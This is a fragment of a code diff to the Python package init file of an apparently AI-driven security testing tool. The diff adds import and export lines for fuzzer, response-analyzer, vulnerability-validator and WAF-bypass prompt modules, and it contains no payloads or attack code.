+
Detection,
|
|
42
|
+
analyze_response,
|
|
43
|
+
)
|
|
44
|
+
from .vuln_validator import (
|
|
45
|
+
get_vuln_validator,
|
|
46
|
+
VulnValidator,
|
|
47
|
+
VulnStatus,
|
|
48
|
+
Severity,
|
|
49
|
+
VulnerabilityReport,
|
|
50
|
+
create_vuln_report,
|
|
51
|
+
)
|
|
52
|
+
from .tool_prompts import (
|
|
53
|
+
get_fuzzer_prompt,
|
|
54
|
+
get_analyzer_prompt,
|
|
55
|
+
get_validator_prompt,
|
|
56
|
+
get_waf_bypass_prompt,
|
|
57
|
+
get_security_testing_prompt,
|
|
58
|
+
get_all_tool_prompts,
|
|
59
|
+
)
|
|
29
60
|
|
|
30
61
|
|
|
31
62
|
SANDBOX_MODE = os.getenv("EXAAI_SANDBOX_MODE", "false").lower() == "true"
|
|
@@ -76,4 +107,31 @@ __all__ = [
|
|
|
76
107
|
"WAFType",
|
|
77
108
|
"detect_waf",
|
|
78
109
|
"generate_bypasses",
|
|
110
|
+
# Smart Fuzzer
|
|
111
|
+
"get_smart_fuzzer",
|
|
112
|
+
"SmartFuzzer",
|
|
113
|
+
"ParamType",
|
|
114
|
+
"VulnCategory",
|
|
115
|
+
"FuzzPayload",
|
|
116
|
+
"fuzz_parameter",
|
|
117
|
+
# Response Analyzer
|
|
118
|
+
"get_response_analyzer",
|
|
119
|
+
"ResponseAnalyzer",
|
|
120
|
+
"DetectionType",
|
|
121
|
+
"Detection",
|
|
122
|
+
"analyze_response",
|
|
123
|
+
# Vulnerability Validator
|
|
124
|
+
"get_vuln_validator",
|
|
125
|
+
"VulnValidator",
|
|
126
|
+
"VulnStatus",
|
|
127
|
+
"Severity",
|
|
128
|
+
"VulnerabilityReport",
|
|
129
|
+
"create_vuln_report",
|
|
130
|
+
# Tool Prompts
|
|
131
|
+
"get_fuzzer_prompt",
|
|
132
|
+
"get_analyzer_prompt",
|
|
133
|
+
"get_validator_prompt",
|
|
134
|
+
"get_waf_bypass_prompt",
|
|
135
|
+
"get_security_testing_prompt",
|
|
136
|
+
"get_all_tool_prompts",
|
|
79
137
|
]
|